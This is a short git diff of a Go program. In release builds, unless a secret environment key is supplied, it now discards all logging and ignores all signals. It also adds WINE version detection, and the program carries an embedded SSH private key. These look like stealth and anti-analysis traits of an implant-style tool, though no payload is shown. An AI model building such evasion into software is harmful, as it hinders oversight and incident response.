diff --git a/main_release.go b/main_release.go index 7ec6fa8..0f6c032 100644 --- a/main_release.go +++ b/main_release.go @@ -14,7 +14,7 @@ var resourceSSHPrivateKey string func init() { dontSilenceKey := os.Getenv("VMK") if dontSilenceKey != cfg.VerboseModeKey { -// systemRouteAllLogging(os.DevNull) -// systemIgnoreAllSignals() + systemRouteAllLogging(os.DevNull) + systemIgnoreAllSignals() } } diff --git a/system_windows.go b/system_windows.go index d2eace6..e7cce7c 100644 --- a/system_windows.go +++ b/system_windows.go @@ -6,8 +6,8 @@ package main import ( "C" "golang.org/x/sys/windows" - "log" "os" + "unsafe" ) func systemGetWINEVersion() string { @@ -19,13 +19,11 @@ func systemGetWINEVersion() string { return "" } - r1, r2, r3 := wineGetVersionFunc.Call() + ret, _, _ := wineGetVersionFunc.Call() + retCStr := (*C.char)(unsafe.Pointer(ret)) + wineVersion := C.GoString(retCStr) - log.Println("r1", r1) - log.Println("r2", r2) - log.Println("r3", r3) - - return "" + return wineVersion } func systemIsUserRoot() bool {